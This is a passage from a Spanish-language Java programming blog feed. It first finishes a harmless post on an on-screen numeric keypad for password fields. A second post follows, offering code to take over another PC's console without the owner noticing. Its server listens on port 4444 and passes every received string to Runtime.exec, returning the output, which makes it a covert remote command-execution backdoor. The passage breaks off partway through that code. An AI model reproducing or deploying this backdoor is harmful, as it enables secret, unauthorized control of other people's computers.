justify;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;txtclave.addFocusListener(new FocusListener(){&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void focusGained(FocusEvent arg0) {&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;pop = new JPopupMenu();&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;teclado=new JNumKeyboard(txtclave);&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;pop.add(teclado);&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;pop.setVisible(true);&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;pop.setLocation(txtclave.getLocationOnScreen().x+112, txtclave.getLocationOnScreen().y-1);&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void focusLost(FocusEvent arg0) {&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;pop.setVisible(false);&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pafuera.add(p);&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;add(pafuera);&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public void colocarSkin(){&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;try {&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; UIManager.setLookAndFeel("com.sun.java.swing.plaf.nimbus.NimbusLookAndFeel");&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;} catch (ClassNotFoundException e) {&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; e.printStackTrace();&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;} catch (InstantiationException e) {&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; e.printStackTrace();&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;} catch (IllegalAccessException e) {&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; e.printStackTrace();&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;} catch (UnsupportedLookAndFeelException e) {&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; e.printStackTrace();&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Clase JNumKeyboard&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.GridLayout;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.event.ActionEvent;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.event.ActionListener;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.JButton;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.JPanel;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.JPasswordField;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;public class JNumKeyboard extends JPanel {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JPasswordField t;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public JNumKeyboard(JPasswordField txt){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;t=txt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;setLayout(new GridLayout(4,3,0,0));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;ActionListener accion=new ActionListener(){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void actionPerformed(ActionEvent e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;JButton b=(JButton)e.getSource();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;t.setText(""+t.getText()+b.getText());&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;};&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;for(int i=0;i&amp;lt;12;i++){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;if(i&amp;lt;9){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;JButton b=new JButton(""+(i+1));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;b.addActionListener(accion);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;add(b);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}else{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(i==9){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;JButton b=new JButton("");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;b.setEnabled(false);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;add(b);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(i==10){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;JButton b=new JButton("0");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;b.addActionListener(accion);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;add(b);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(i==11){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;JButton b=new JButton("");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;b.setEnabled(false);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;add(b);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;}&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;Al hacer clic sobre el campo de texto para digitar la contraseña se despliega una ventana emergente con botones, uno para cada&amp;nbsp;dígito&amp;nbsp;numérico. Al dar clic sobre el otro campo de texto esta ventana desaparece.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Applet&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: center;"&gt;&lt;applet code="clases.Principal.class" codebase="http://roger1345.byethost17.com/javazone/JNumKeyboard/" height="140" title="Java" width="400"&gt;&lt;/applet&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Descarga&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: left;"&gt;Pueden descargar el proyecto completo desde&amp;nbsp;&lt;a href="http://www.kickupload.com/files/AUAKQZRS/JNumKeyboard.rar"&gt;aquí&lt;/a&gt;. Se incluyen archivos fuentes e&amp;nbsp;imágenes.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-8308375988579035404?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/8308375988579035404/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/10/jnumkeyboard.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/8308375988579035404'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/8308375988579035404'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/10/jnumkeyboard.html' title='JNumKeyboard'/><author><name>Roger Villamarin Rodriguez</name><uri>https://profiles.google.com/103313089671927525095</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-AYJzdOg3Fvs/AAAAAAAAAAI/AAAAAAAAAAA/z-DhGJclKo4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-d3w9UbpMB2U/TqTVZ8IyQOI/AAAAAAAAAf0/S4V4LsUn-N4/s72-c/jnumkeyboard+1+java+zone.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-2544611835752833516</id><published>2011-10-14T12:56:00.001-05:00</published><updated>2012-01-29T22:02:24.903-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='controlar otro pc'/><category scheme='http://www.blogger.com/atom/ns#' term='cmd'/><category scheme='http://www.blogger.com/atom/ns#' term='netcat en java'/><title type='text'>Controlando una PC modo Consola</title><content type='html'>&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;Controlando una PC modo Consola&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Ha sido&amp;nbsp;difícil&amp;nbsp;para nosotros esto&amp;nbsp;días&amp;nbsp;actualizar el blog, pero&amp;nbsp;aquí&amp;nbsp;estamos, llenos de ideas, hoy veremos como &amp;nbsp;obtener la consola de otro pc, podremos hacer casi cualquier cosa en la otra pc, sin que la otra persona se de cuenta de que estamos controlando el pc.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Podremos ejecutar programas, ver configuraciones de ip, estado de las conexiones del otro pc, etc.&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Imágenes&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-qY2OETwjTK8/Tph3VA-7l5I/AAAAAAAAAfg/bllG-jxqS1E/s1600/control+java+zone+1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="183" src="http://1.bp.blogspot.com/-qY2OETwjTK8/Tph3VA-7l5I/AAAAAAAAAfg/bllG-jxqS1E/s320/control+java+zone+1.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-x9r8XYEbQk0/Tph3XeYfe7I/AAAAAAAAAfo/1ASBdBRNGqI/s1600/control+java+zone+2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="187" src="http://4.bp.blogspot.com/-x9r8XYEbQk0/Tph3XeYfe7I/AAAAAAAAAfo/1ASBdBRNGqI/s320/control+java+zone+2.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Código&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Servidor&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Clase Principal&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;package clases;&lt;br /&gt;&lt;br /&gt;import java.io.IOException;&lt;br /&gt;import java.net.ServerSocket;&lt;br /&gt;import java.net.Socket;&lt;br /&gt;&lt;br /&gt;public class Principal {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public Principal(){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;try {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ServerSocket server=new ServerSocket(4444);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;System.out.println("Escuchando...");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;while(true){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;Socket cliente=server.accept();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;HiloManejador hm=new HiloManejador(cliente);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;hm.start();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;} catch (IOException e) {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;// TODO Auto-generated catch block&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;e.printStackTrace();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public static void main(String arg[]){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;Principal p=new Principal();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Clase HiloManejador&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;package clases;&lt;br /&gt;&lt;br /&gt;import java.io.BufferedReader;&lt;br /&gt;import java.io.DataInputStream;&lt;br /&gt;import java.io.DataOutputStream;&lt;br /&gt;import java.io.IOException;&lt;br /&gt;import java.io.InputStreamReader;&lt;br /&gt;import java.net.Socket;&lt;br /&gt;&lt;br /&gt;public class HiloManejador extends Thread{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Socket cliente;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;DataInputStream dis;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;DataOutputStream dos;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Process p;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public HiloManejador(Socket s){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;cliente=s;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public void run(){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;System.out.println("Cliente conectado");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;while(true){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;try {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;dis = new DataInputStream(cliente.getInputStream());&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;dos= new DataOutputStream(cliente.getOutputStream());&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;p=Runtime.getRuntime().exec(""+dis.readUTF());&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;BufferedReader s=new BufferedReader(new InputStreamReader(p.getInputStream()));&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;String x=s.readLine();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;String todo="";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;while(x!=null){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;System.out.println(x);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;todo+=x+"\n";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;x=s.readLine();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;dos.writeUTF(""+todo);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} catch (IOException e) {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;try {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;cliente.close();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} catch (IOException e1) {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;// TODO Auto-generated catch 